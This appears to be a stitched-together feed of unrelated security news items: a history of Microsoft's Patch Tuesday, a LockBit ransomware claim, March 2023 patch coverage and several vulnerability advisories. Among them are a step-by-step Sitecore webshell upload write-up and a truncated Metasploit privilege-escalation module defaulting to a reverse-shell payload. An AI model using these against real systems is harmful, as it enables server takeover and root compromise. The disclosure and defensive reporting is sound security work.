Patch Tuesday turned security updates from chaotic events into a routine. Here's how we got here and where things might be heading.

On Oct. 9, 2003, Microsoft CEO Steve Ballmer announced that the company would issue security patches only once a month to "reduce the burden on IT administrators by adding a level of increased predictability and manageability."

Two decades later, Microsoft continues to issue its security updates on the second Tuesday of every month, with occasional exceptions for emergency situations. Many other companies, like Oracle and Adobe, follow similar rules.

Patch Tuesday turned risk management into a monthly appointment, but like many innovations it was founded from crisis. At the beginning of 2002, shortly after the world experienced two of its first cyber doomsdays, Code Red and Nimda, Microsoft decided to change its philosophy around security. The two worms, which infected hundreds of thousands of machines in a matter of hours, exploited vulnerabilities for which patches were available.

"The problem was not that we weren't building patches; the problem was that people weren't deploying them quickly enough," says Christopher Budd, who was with Microsoft from 2000 to 2010 and is now a senior manager for threat research at Sophos.

At that time, the trauma of 9/11 was palpable in North America, and there was a growing concern within Microsoft regarding security. On Jan. 15, 2002, Bill Gates sent his famous Trustworthy Computing memo, highlighting the importance of protecting customers and their systems.

One way to improve security was to change how patches were delivered. So instead of announcing them unpredictably, on a ship-when-ready basis, several times during a week, Microsoft began to stack them together to make it easier for customers to keep up.

At first, the idea was implemented as a "silent pilot project," Budd says. But as it showed promising results, it was soon made official. The first official Patch Tuesday report was published on Oct. 14, 2003, and it included seven vulnerabilities, five of which were seen as critical.

"Tuesday was the earliest day in the week that we felt we could sustainably offer these," says Budd, who helped build Patch Tuesday.

This fixed-schedule approach has become a standard industry practice. But the road was not always smooth.

**The Early Days of Patch Tuesday**

Throughout the years, Microsoft has evolved and refined its approach to security patches, adapting to changing threats. Notable worms that followed Code Red, such as Sasser and Blaster, helped Patch Tuesday to grow and eventually mature.

Budd and his colleagues in the Microsoft Security Response Center, who "suddenly became incredibly important" after the Trustworthy Computing memo, tried to make improvements around patch deployment and detection. One key achievement was to build tools that enabled admins to do a scan and identify the systems that needed security updates — an idea that, while simple, proved to be a game-changer.

The entire process of releasing patches required extensive work, particularly on the Monday before Patch Tuesday, when everything had to be checked. Security experts put in long hours, missed birthday parties, and even showered in Microsoft's headquarters because they didn't have the time to go home.

It is why the releases of the bulletins were celebrated with music blasting over loudspeakers. "When the bulletins were live, it was a big deal for us," says Dustin Childs, who was with Microsoft between 2008 to 2014 and is now the head of threat awareness at Trend Micro's Zero Day Initiative.

Typically, the music was picked by the release manager for that bulletin. "I remember one month it was Klingon music, but it was usually rock and roll," Childs says.

Occasionally, soon after the music stopped, chaos would ensue because some patches caused unintended consequences. One notable incident happened in February 2010, when thousands of customers reported blue screens almost immediately.

When security experts in Redmond heard about the issue, they tried to replicate it but were unsuccessful. For the lack of a better solution, Microsoft bought the computer of a customer who called a support center near Dallas to report the issue.

"And as soon as we got that computer, we found that it had a rootkit installed in it," Childs says.

The Alureon rootkit made modifications to Windows Kernel binaries, which caused the systems to be unstable. The company reissued the patch and fixed the problem.

"The really funny part, though, was that the people who made the rootkit figured it out faster than we did, and they had updated their rootkit to avoid the patch within 48 hours \[of the release\]," Childs says. "It took us a week to fix it!"

And it wasn't the only bizarre episode in Patch Tuesday's history. For instance, Childs remembers that an Internet Explorer patch crashed online banking in South Korea, while a Windows Media Player patch broke an entire country — twice.

"For some reason, on systems in Denmark, it blue-screened," he says. "So we had to recall that patch, fix it and re-release it. And then, the very next month, the same thing happened again. I don't know what was specific about the systems in Denmark."

Even today, some patches released by software companies in general, not just Microsoft, can cause issues, which can be frustrating for those installing them. Childs argues that if vendors improve the reliability of these fixes, customers might be more willing to apply them promptly, as opposed to waiting weeks or months to see if others experienced issues.

Taking the waiting approach can be risky, as it leaves their systems vulnerable to known vulnerabilities. It is why Childs recommends users apply patches as soon as possible. He also tells them to call attention to poor-quality patches.

"Let's hold vendors accountable," Childs says. "Let's make sure that they're producing good patches."

Aanchal Gupta, deputy CISO at Microsoft, says the company is doing "extensive testing" of patches.

"Before we issue any patch to our customers, it goes through rigorous testing not just within Microsoft. ... \[W\]e also have a set of beta testers, external companies, and they get the patches early on before these are actually made public," she says. "They can test in their environment and report back to us whether there is something unique in their environment which could make the patch not work."

**Patch Tuesday Today**

Patch Tuesday has come a long way since those early days when Klingon music blasted from the speakers. Over time, the releases have become quieter and even automated, becoming invisible to some users.

In the past decade, Microsoft has made several changes to streamline the process. In the mid-2010s, for instance, it announced cumulative updates so that a customer who missed, for instance, five patches only needed to apply the last one because the other ones were included in it. The company also launched machine-readable Security Update Guides, which meant that organizations with huge fleet deployments could rely on automation.

But not every change was welcomed by the community. When Microsoft decided to eliminate security bulletins and replace them with Security Update Guides, customers complained that the information they received was less intuitive. Something similar happened in the fall of 2020, when the tech giant removed executive summaries that included detailed information on vulnerabilities. Once again, many in the industry argued that they didn't receive enough information, which made their decision-making processes difficult.

That was "probably the most disruptive" decision Microsoft made, says security researcher Claire Tills. "I know some defenders also really had trouble with that."

More recently, in 2022 Microsoft took yet another step toward making Patch Tuesday a regular Tuesday, when it announced Autopatch, which promised to ease the process of addressing vulns for customers with Windows Enterprise E3 and E5 licenses. The move made organizations wonder whether Patch Tuesday as we know it might disappear — a rumor Microsoft denied.

The publicity around Patch Tuesday is getting smaller and the number of Patch Tuesday vulnerabilities may have peaked. In 2020, a particularly "aggressive year," Tills counted around 1,200 vulns, while in 2022, she saw 663.

"In terms of the types of vulnerabilities, it's consistently elevation of privilege and remote code execution," she says. "Every once in a while, we'll get peaks in information disclosures and security feature bypass — those two also pop up."

But despite the features meant to streamline the process of applying patches, this task can still be daunting for small businesses that can't afford a dedicated tech support team. It is why Gupta recommends these clients to move to the cloud.

"Then you can purely focus on your business and you don't have to worry about patching and managing systems," she says. "I also encourage people to not disable the default upgrades."

But as we transition toward automating the processes, is dedicating one day for updates obsolete?

**Is Patch Tuesday Becoming Obsolete?**

It is hard to fathom a world of cybersecurity without Patch Tuesday, which has been an integral part of the industry for two decades. As threats become more sophisticated and geopolitics becomes more volatile, however, the traditional model of Patch Tuesday may no longer be sufficient to keep systems secure.

Organizations operating in complex environments, such as in those competitive fields or based in hot areas like Ukraine, cannot afford to make mistakes when it comes to patch management. Threat actors often "targeted technical vulnerabilities rather than specific individuals or organizations," says Nazar Tymoshyk, founder and CEO of cybersecurity startup UnderDefense, which has protected several organizations during the ongoing war with Russia.

"The exploitation of unpatched vulnerabilities in technology stacks or outdated Web resources still accounts for 50% of \[Russia's\] success in cyber-intelligence operations," he says.

Tymoshyk believes that Patch Tuesday is still necessary and should not be retired. However, organizations should build on top of it, adopting additional patching routines depending on the size and complexity of their infrastructure or the types of software and systems they use.

Satnam Narang, senior staff research engineer at Tenable, also favors keeping Patch Tuesday alive because routines can help organizations foster a security-focused culture.

"Each week the folks come to pick up the trash from our street, and we know that that's happening every week on a specific day," he says. "The reason why Patch Tuesday is a valuable resource is that it happens every month on a specific day, so it allows organizations to carve out the time necessary to patch these vulnerabilities."

A chaotic patching system might not work, Narang says, because security teams are already overwhelmed. Aviv Grafi, CTO and founder at Votiro, agrees. "Time is of the essence, and we need to focus on leveraging technologies and software that give security teams more time back in their day," Grafi says.

Security researchers also add that continual patch cycles and automatic updates might not always be feasible at enterprise level in some cases. "In the event of a problem, large organizations need to be able to revert systems to a known state, and that requires planning," says David Farquhar, solutions architect at Nucleus.

Patch Tuesday is a crucial element in the routines of many organizations, but despite that, it can be unpredictable. The past years have shown that its structure can change without prior warnings. "Even though Patch Tuesday feels so foundational and so solid, it can change at the drop of a hat," Tills says. "The end of Patch Tuesday could feel disastrous for a lot of organizations."

For the time being, though, it appears that Microsoft will keep the program running. "I wouldn't worry about Patch Tuesday going away anytime soon," Gupta says.

How Patch Tuesday Keeps the Beat After 20 Years

By Deeba Ahmed
The cybercrime group has given a deadline of March 20th, 2023 for their demands, which as expected, is a ransom.
This is a post from HackRead.com Read the original post: LockBit Ransomware Claims Data Breach at SpaceX Contractor

****The infamous LockBit ransomware claims to have stolen 3,000 “drawings certified by SpaceX engineers,” which they plan to sell “to other manufacturers” through an auction in a week unless they receive a ransom payment.****

The **LockBit** Ransomware Group Claims Data Breach at SpaceX Contractor ransomware group has recently made headlines by claiming to have stolen sensitive data belonging to SpaceX, a leading American aerospace manufacturer, and space transportation company owned by Elon Musk.

The news comes at the same time as the ALPHV ransomware group’s claim of **hacking into Amazon’s Ring** and stealing sensitive data, raising serious privacy concerns.

As seen by Hackread.com, the group targeted Texas-based Maximum Industries, one of **SpaceX’s third-party contractors**, and stole valuable data related to the company’s operations and projects.

LockBit hackers claim to have stolen 3,000 “drawings certified by SpaceX engineers,” which they plan to sell “to other manufacturers” through an auction in a week unless they receive a ransom payment. However, none of the claims regarding the stolen data could be confirmed.

Maximum Industries offers traditional and non-traditional machining processes and specializes in laser cutting and CNC machining services. While the exact details of how the contractor was compromised are not yet clear, it is likely that the ransomware group used phishing emails, and **social engineering**, or relied on an insider to gain access to the company’s systems.

Launched in 2019, the **LockBit ransomware group** is known for its sophisticated attack methods and aggressive demands for payment. The group typically targets large corporations and organizations, encrypts their data, and demands a hefty ransom in exchange for the decryption key.

If the victim refuses to pay, LockBit threatens to publish their stolen data online or sell it on the dark web. To date, LockBit has targeted more than 1,000 organizations.

The apparent theft of valuable data from a high-profile company like SpaceX highlights the growing threat of ransomware attacks and the need for organizations to take proactive measures to protect their sensitive information.

In recent years, ransomware attacks have become more frequent and sophisticated, causing billions of dollars in losses to companies worldwide. In addition to financial damage, these attacks can also have severe consequences for an organization’s reputation and customer trust.

To prevent ransomware attacks, organizations must implement robust security measures, including regular data backups, **multi-factor authentication**, and employee training on how to identify and respond to phishing attempts.

It is also essential to work with trusted third-party vendors who follow best practices in data security and regularly perform security audits.

1.  **Bangkok Airways hit by Lockbit ransomware**
2.  **Accenture claims to fight off LockBit ransomware**
3.  **LockBit ransomware hits French Ministry of Justice**

LockBit Ransomware Claims Data Breach at SpaceX Contractor

An issue was discovered in Sitecore XP/XM 10.3. As an authenticated Sitecore user, a unrestricted language file upload vulnerability exists the can lead to direct code execution on the content management (CM) server.

**Sitecore 10.3 Authenticated file upload vulnerability**

Author: Thomas Stern

Date: 26/01-2023

**Summary**

It is possible via the import languages functionality to upload and arbitrary file. This file could be a webshell that would allow for execution of code on the server.

**Step to reproduce**

For testing this vulnerability a Sitecore 10.3 instance was spawned on a local machine through docker. This vulnerability haven't been tested on previous versions of Sitecore, but earlier version might be vulnerable for the same technique.

**Environment information**

Host: Windows 11 Running Docker for Desktop Sitecore 10.3

**1\. Login to sitecore**

Since this is an authenticated vulnerability a valid set of credentials is required. For this testing instance admin/b was used

**2\. Navigate to toolbox**

The toolbox is found under the control panel for Sitecore

**3\. Choose - Import Languages**

Now choose language import

**4\. Import - temp folder**

Start by choosing Browse

Next select the temp folder 'this will also be the destination for the shell.

**5\. Upload webshell**

The code used for testing is shown a simple webshell from downloaded from https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx note a small modification was made to run powershell instead of the default cmd.

Choose upload button and select your shell and press next

You shell should now be uploaded

**6\. Execute Commands**

Started by navigating to the uploaded shell "https://sitename/temp/shell.aspx" With the shell uploaded it is now possible to have full code execution on the system

**Remediation**

The code for uploading the language files should validate files being uploaded and only allow for executable files like aspx,exe and more. Also language files should only be uploaded to a directory that doesn't allow code execution. A way of doing this is by addaing a block rule to the web.config like the below. Note this will block all request to the two files.

<rule name\="BlockFileUpload" enabled\="true" patternSyntax\="Wildcard" stopProcessing\="true"\>
    <match url\="\*" />
    <conditions logicalGrouping\="MatchAny"\>
        <add input\="{URL}" pattern\="\*sitecore/shell/Applications/Files/FileBrowser.aspx" />
        <add input\="{URL}" pattern\="\*sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx" />
    </conditions\>
    <action type\="CustomResponse" statusCode\="404" statusReason\="File or directory not found." statusDescription\="The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable." />
</rule\>

CVE-2023-26262: GitHub - istern/CVE-2023-26262

A Hard Coded Admin Credentials issue in the Web-UI Admin Panel in Propius MachineSelector 6.6.0 and 6.6.1 allows remote attackers to gain access to the admin panel Propiusadmin.php, which allows taking control of the affected system.

**MachineSelector security notes and vulnerability**

Version

CVE-ID

Impact

Temporary Fix

Remediation

6.6.0, 6.6.1

CVE-2023-26511

Propius Machine Selector from 6.6.0 to 6.6.1. Affected versions contain a Propiusadmin.php file which allows a remote attacker with knowledge of the hardcoded password to gain access to the admin panel. A remote attacker can use the hardcoded credentials to fully take control over the vulnerable system via the exposed admin panel.

Delete "Propiusadmin.php" file

Update to newest Version, at least V6.6.2

*   Back
*   Report issue

CVE-2023-26511: Propius GmbH

Security vendors urge organizations to fix the actively exploited bugs, in Microsoft Outlook and the Mark of the Web feature, immediately.

IT teams should prioritize the patching of two zero-day vulnerabilities, one in Microsoft Outlook's authentication mechanism and another that's a Mark of the Web bypass, security experts said today. The two are part of a cache of 74 security bugs that Microsoft disclosed in its March Patch Tuesday security update.

In a blog post, researchers from Automox recommended that organizations patch both vulnerabilities within 24 hours since attackers are exploiting them in the wild. 

In addition, several of the critical flaws in the March update enable remote code execution (RCE), making them a high priority for patching as well. 

Vendors had slightly different takes on the total number of new critical vulnerabilities in Microsoft's March update — likely because of differences in what they included in the count. Trend Micro's Zero-Day Initiative (ZDI), for instance, identified six of the vulnerabilities in Microsoft's March update as critical, while Tenable and Action1 pegged the number at nine.

**Privilege Escalation Zero-Day**

One of the zero-days is a critical privilege escalation vulnerability in Microsoft Outlook tracked as CVE-2023-23397, which allows an attacker to access the victim's Net-NTLMv2 challenge-response authentication hash and then impersonate the user. 

What makes the bug dangerous is that an attacker could trigger it simply by sending a specially crafted email that Outlook retrieves and processes before the user even views it in the Preview Pane.

"This is because the vulnerability is triggered on the email server side, meaning exploitation would occur before a victim views the malicious email," said Satnam Narang, senior staff research engineer at Tenable in an emailed comment. An attacker could use the victim's Net-NLMv2 hash to conduct an attack that exploits the NTLM challenge-response mechanism and allows the adversary to authenticate as the user.

That makes the bug more of an authentication bypass vulnerability than an privilege escalation issue, added ZDI researcher Dustin Childs, in a blog post that summarized the most important flaws in Microsoft's March Patch Tuesday update. Disabling the Preview Pane option will not mitigate the threat because the bug gets triggered even before that, he wrote.

Microsoft attributed the bug's discovery to researchers from Ukraine's Computer Emergency Response Team (CERT) as well as one of its own researchers.

Organizations that cannot patch CVE-2023-23397 immediately should consider implementing Microsoft's mitigation for the flaw, which prevents the use of NTLM as an authentication mechanism, Automox said.

**Actively Exploited Security Feature Bypass Flaw**

Microsoft identified the second zero-day bug as CVE-2023-24880, a Windows SmartScreen security feature bypass issue than at attacker could use to bypass the Mark of the Web designation that Microsoft uses to identify files that a user might download from the Internet. 

The feature is designed to warn users about potentially unsafe content. CVE-2023-24880 affects all desktop systems running Windows 10 and above and systems running Windows Server 2016, 2019, and 2022.

Chris Goettl, vice president of security products at Ivanti, cautioned administrators not to be lulled into a sense of false security by Microsoft's relatively low severity rating for the flaw. 

"The CVSSv3.1 score is only 5.4, which may avoid notice by many organizations," Goettl said in a statement. On its own, the CVE may not be all that threatening, "but it was likely used in an attack chain with additional exploits," he warned.

**Other Security Bugs at High Patching Priority**

One of the RCE flaws to make a special note of is CVE-2023-23415, which exists in the Internet Control Message Protocol (ICMP) that network devices use to diagnose communications issues. 

"An attacker can remotely exploit this vulnerability through the use of a low-level protocol error containing a fragmented IP packet in its header that is sent to the target machine," Microsoft said. The vulnerability affects multiple Microsoft products, including Windows 10, Windows 11, Windows Server 2008, 2012, 2016, 2019, and 2022.

ZDI, Automox, and Action1 also all identified a RCE vulnerability with a near maximum severity of 9.8 on the CVSS scale in the HTTP Protocol Stack as another issue that organizations might want to prioritize. 

The vulnerability (CVE-2023-23392) allows an unauthenticated attacker to send a specially crafted packet to a server that uses the HTTP Protocol Stack leading to RCE. "The vulnerability affects Windows Server 2022 and Windows 11, and has a low-complexity attack vector that requires no privileges or user interaction," Action1 warned. Because of this, Microsoft has assessed the vulnerability as one that threat actors are more likely to exploit than other flaws.

Automox also recommended that organizations address CVE-2023-23416, a RCE bug in the Windows Cryptographic Services protocol, within 72 hours. That's because, among other things, it affects all versions of desktops Windows 10 and above, and all Windows server editions from Server 2012 on.

In addition to patches for new vulnerabilities, Microsoft also issued updates for four older flaws — all from 2022 — in its March patch cycle. The update expands the number of Microsoft software and applications affected by the vulnerabilities and provides a patch for them, Ivanti said. The security vendor identified the four updated patches as CVE-2022-43552, CVE-2022-23257, CVE-2022-23825, and CVE-2022-23816.

Microsoft Zero-Day Bugs Allow Security Feature Bypass

Microsoft disclosed 83 vulnerabilities across the company’s hardware and software line, including two issues that are actively being exploited in the wild, continuing a trend of zero-days appearing in Patch Tuesdays over the past few months.

Tuesday, March 14, 2023 16:03

Microsoft released its monthly security update Tuesday, disclosing 83 vulnerabilities across the company’s hardware and software line, including two issues that are actively being exploited in the wild, continuing a trend of zero-days appearing in Patch Tuesdays over the past few months.

Two of the vulnerabilities included in March’s security update have been exploited in the wild, according to Microsoft, including one critical issue.

In all, eight of the issues disclosed this month are critical, while the remainder — outside of one — is “important.”

A moderate-severity vulnerability that’s already being exploited in the wild is CVE-2023-24880, a security feature bypass vulnerability in Windows SmartScreen, a cloud-based anti-phishing and anti-malware feature included in several Microsoft products. An attacker could exploit this vulnerability to craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging. This, in theory, could allow the attacker to pass a malicious file through without it being detected.

The other zero-day included this month is CVE-2023-23397, a privilege escalation vulnerability in Microsoft Outlook that could force a targeted device to connect to a remote URL and transmit the Windows account's Net-NTLMv2 hash to an adversary.

To trigger this vulnerability, a user doesn’t even need to open the email or preview it, the vulnerability is triggered as soon as the email is retrieved by the targeted email server.

Three of the other critical vulnerabilities Microsoft is patching have a CVSS severity score of 9.8 out of 10: CVE-2023-21708, CVE-2023-23392 and CVE-2023-23415.

CVE-2023-21708 is a remote code execution vulnerability in Microsoft Remote Call Procedure (RCP). To exploit this vulnerability, an unauthenticated attacker could send a specially crafted RPC call to an RPC host. This could result in remote code execution on the server side with the same permissions as the RPC service.

The attacker would need to have access to TCP port 135 on the remote host, so Microsoft considers this vulnerability “less likely” to be exploited, especially from an outside network perimeter. But an attacker who already have a foothold on an internal network could use this vulnerability to compromise other machines in the same domain if the target doesn’t block this port.

Another remote code execution vulnerability exists on the HTTP protocol stack on Windows 11 and Windows Server 2022. An attacker could exploit CVE-2023-23392 by sending a specially crafted packet to a targeted server that utilizes the HTTP Protocol Stack to process packets. For a server to be vulnerable, it must already have HTTP/3 enabled and use buffered I/O. HTTP/3 support for services is a new feature of Windows Server 2022. Another escalation of privilege vulnerability in the same component (CVE-2023-23410) may allow an attacker to elevate privileges to SYSTEM.

CVE-2023-23415 is the only vulnerability among the three with 9.8 CVSS scores that is “more likely” to be exploited, according to Microsoft. An attacker could exploit this vulnerability in the Internet Control Message Protocol (ICMP) to gain the ability to execute remote code with SYSTEM-level privileges.

An attacker could send fragmented ICMP error messages to a remote target and cause a read past the fragment buffer end. This could cause a BSOD if the read crosses a page boundary or give the attacker remote code execution abilities.

The other critical vulnerabilities are:

*   CVE-2023-23404, a remote code execution vulnerability in Windows point-to-point tunneling protocol
*   CVE-2023-23411, a denial-of-service vulnerability in Windows Hyper-V
*   CVE-2023-23416, a remote code execution vulnerability in Windows cryptographic services

A complete list of all the vulnerabilities Microsoft disclosed this month is available on its update page.

In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Secure Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The rules included in this release that protect against the exploitation of many of these vulnerabilities are 61464 - 61467. The Snort 3 SIDs are 300460 and 300461.

Microsoft Patch Tuesday for March 2023 — Snort rules and prominent vulnerabilities

KDAB Hotspot 1.3.x and 1.4.x through 1.4.1, in a non-default configuration, allows privilege escalation because of race conditions involving symlinks and elevate_perf_privileges.sh chown calls.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[day\] \[month\] \[year\] \[list\]

Date: Tue, 14 Mar 2023 12:41:21 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Security issue in Hotspot elevate\_perf\_privileges.sh (CVE-2023-28144)

Hello list,

this report is about a possible security vulnerability I found in the Hotspot
\[1\] project.

An openSUSE packager for hotspot requested a review of a Hotspot update to
version 1.4.1. This version contained a newly added D-Bus helper and Polkit
authentication. During the review I found a vulnerability in the helper script
\`elevate\_perf\_privileges.sh\` that is likely not exploitable by default, but
could easily become a local root exploit when Polkit configuration is changed
or an alternative authentication mechanism with weak authentication
requirements is used.

\[1\]: https://github.com/KDAB/hotspot.git
\[2\]: https://bugzilla.suse.com/show\_bug.cgi?id=1208808

Introduction
============

Hotspot is a GUI application for doing performance profiling anylsis
based on Linux performance counters. This report is about the v1.4.1 version
tag in the upstream repository.

The Issue
=========

Hotspot temporarily changes Linux Kernel sysctl settings and permissions of
the \`debugfs\` and \`tracefs\` file systems to allow running the GUI application
as unprivileged users. The issue is related to privilege escalation logic
which is carried out by the \`elevate\_perf\_privileges.sh\` script. This script
is invoked as root via a range of potential mechanisms like pkexec, kdesu or a
D-Bus based KDE kauth authentication helper. The mechanism is selected during
runtime with a prioritization of kauth > pkexec > kdesudo > kdesu.

The script receives the path to a temporary file which is by default safely
created in /tmp via the \`QTemporaryFile\` class in "src/perfrecord.cpp:142".
The script contains the following logic during early startup:

\`\`\`sh
    if \[ ! -z "$1" \]; then
        olduser=$(stat -c '%u' "$1")
        chown "$(whoami)" "$1"
        echo "rewriting to $1"
        # redirect output to file, to enable parsing of output even when
        # the graphical sudo helper like kdesudo isn't forwarding the text properly
        $0 2>&1 | tee -a "$1"
        chown "$olduser" "$1"
        exit
    fi
\`\`\`

The two \`chown\` invocations on the temporary file result in a temporary change
of the ownership of the temporary file to root, which is originally owned by
the unprivileged user. It changes ownership of the provided path first to
\`root\`, then reexecutes itself, then changes ownership back to the original
user.

This offers the following attack vectors:

- giving ownership of an arbitrary file to root
- giving ownership of an arbitrary file to the unprivileged user

The script accepts arbitrary paths and doesn't check where the file is located
and what its ownership is. Thus the path can also be a file in any other
directory. Therefore even without having to win a race condition or using a
symlink attack, an attacker can simply specify a path to an already existing
file owned by root e.g. /etc/shadow, which will in the end be owned by the
unprivileged user.

It can be argued that this script can only be invoked as root if the root
password has been supplied to kdesu, pkexec or the Kauth framework and thus
requires root privileges in the first place. Since the Polkit authentication
framework is likely used though, there is a certain chance that users or
integrators want to get rid of the "annoying" authentication dialog and change
the Polkit policy to something like "yes" for active users to make the
elevation work out of the box. In this case all locally logged in users could
trigger the exploit without authenticating as root.

Potential Fix
=============

I recommended to upstream to replace the currently overly complex privilege
escalation logic, that potentially uses a range of alternate privilege
escalation mechanisms, by a single clean approach like using \`pkexec\`. Towards
the helper script subprocess Pipes should be used for consuming the output
instead of passing a temporary file path to it. This way the problematic
\`chown\` calls will no longer be needed.

At the moment no proper is available and upstream will require more time to
address the issue. Using Polkit and the default upstream Polkit policy there
should not be immediate danger, but users need to be aware that relaxing the
authentication requirements in any way gives way to the local root exploit.

Upstream added a commit \[3\] that allows to "opt-in" the risky authentication
feature during build time.

\[3\]: https://github.com/KDAB/hotspot/commit/65a246ce9196462081483fd07d97678dcfe36b9c

Further Hardening
=================

The privileged operations that the script currently performs are the
following:

    sysctl -wq kernel.kptr\_restrict=0 kernel.perf\_event\_paranoid=-1
    mount -o remount,mode=755 /sys/kernel/debug
    mount -o remount,mode=755 /sys/kernel/debug/tracing

Granting world read access to the debug and tracing file systems is a
bit coarse grained. Sadly these kernel file systems don't support ACL
entries. If that would be possible then temporarily adding a dedicated ACL for
the unprivileged user would have been a viable approach.

I recommended to upstream to investigate the option to use a dedicated hotspot
group that is granted access to the file systems. Furthermore there might be a
possibility to use the capability \`CAP\_PERFMON\` in conjunction with the lower
level \`perf\` tool to obtain the necessary privileges.

Affectedness and CVE Assignment
===============================

The problematic use of \`chown\` in the helper script has been introduced in the
upstream commit 3b4682565f0e53f903f3ad0f3f2c0f236d382efb \[4\] and has been
present since release v1.3.0.

I decided to request a CVE for this issue even though it is likely not
exploitable by default, because of the simplicity of exploiting it and the
complexity of the overall privilege escalation logic in Hotspot. Mitre
assigned CVE-2023-28144 for the issue.

\[4\]: https://github.com/KDAB/hotspot/commit/3b4682565f0e53f903f3ad0f3f2c0f236d382efb

Timeline
========

2023-03-09: I contacted the main upstream author about the vulnerability,
            offering coordinated disclosure.
2023-03-10: The upstream author agreed to publishing the issue without
            embargo time, because there will be no proper fix available in
            the short term. Users should be made aware of the issue right now.

            We discussed various security aspects of the current code and
            potential remedies and improvements.
2023-03-13: I received the CVE from Mitre and started publishing the available
            information.

Best Regards

Matthias

-- 
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553
 
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew Myers, Andrew McDonald, Boudien Moerman

**Download attachment "**signature.asc**" of type "**application/pgp-signature**" (834 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2023-28144: security - Security issue in Hotspot elevate_perf_privileges.sh (CVE-2023-28144)

Microsoft OneDrive for MacOS Elevation of Privilege Vulnerability

CVE-2023-24930

This Metasploit module exploits a vulnerability in RedHat based systems where improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf for Apache Tomcat versions before 7.0.54-8. The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage temporary files including their creation. With this weak permission, you are able to inject commands into the systemd-tmpfiles service to write a cron job to execute a payload. systemd-tmpfiles is executed by default on boot on RedHat-based systems through systemd-tmpfiles-setup.service. Depending on the system in use, the execution of systemd-tmpfiles could also be triggered by other services, cronjobs, startup scripts etc. This module was tested against Tomcat 7.0.54-3 on Fedora 21.

    ##### This exploit sample shows how an exploit module could be written to exploit# a bug in a command on a linux computer for priv esc.####class MetasploitModule < Msf::Exploit::Local  Rank = ManualRanking  include Msf::Exploit::Retry  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::Linux::Compile  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',        'Description' => %q{          This module exploits a vulnerability in RedHat based systems where          improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf          for Apache Tomcat versions before 7.0.54-8.  This may also work against          The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage          temporary files including their creation.          With this weak permission, we're able to inject commands into systemd-tmpfiles          service to write a cron job to execute our payload.          systemd-tmpfiles is executed by default on boot on RedHat-based systems          through systemd-tmpfiles-setup.service. Depending on the system in use,          the execution of systemd-tmpfiles could also be triggered by other          services, cronjobs, startup scripts etc.          This module was tested against Tomcat 7.0.54-3 on Fedora 21.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'DefaultOptions' => {          'WfsDelay' => 1800, # 30min          'payload' => 'linux/x64/meterpreter_reverse_tcp'        },        'References' => [          ['EDB', '40488' ],          ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],          ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],          ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info          ['CVE', '2016-5425']        ],        'DisclosureDate' => '2016-10-10',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),    ]  end  # Simplify pulling the writable directory variable  def base_dir    datastore['WritableDir'].to_s  end  def tomcat_conf    '/usr/lib/tmpfiles.d/tomcat.conf'  end  def suid?(file)    get_suid_files(file).include? file  end  def check    package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')    if package.nil? || package.empty?      return 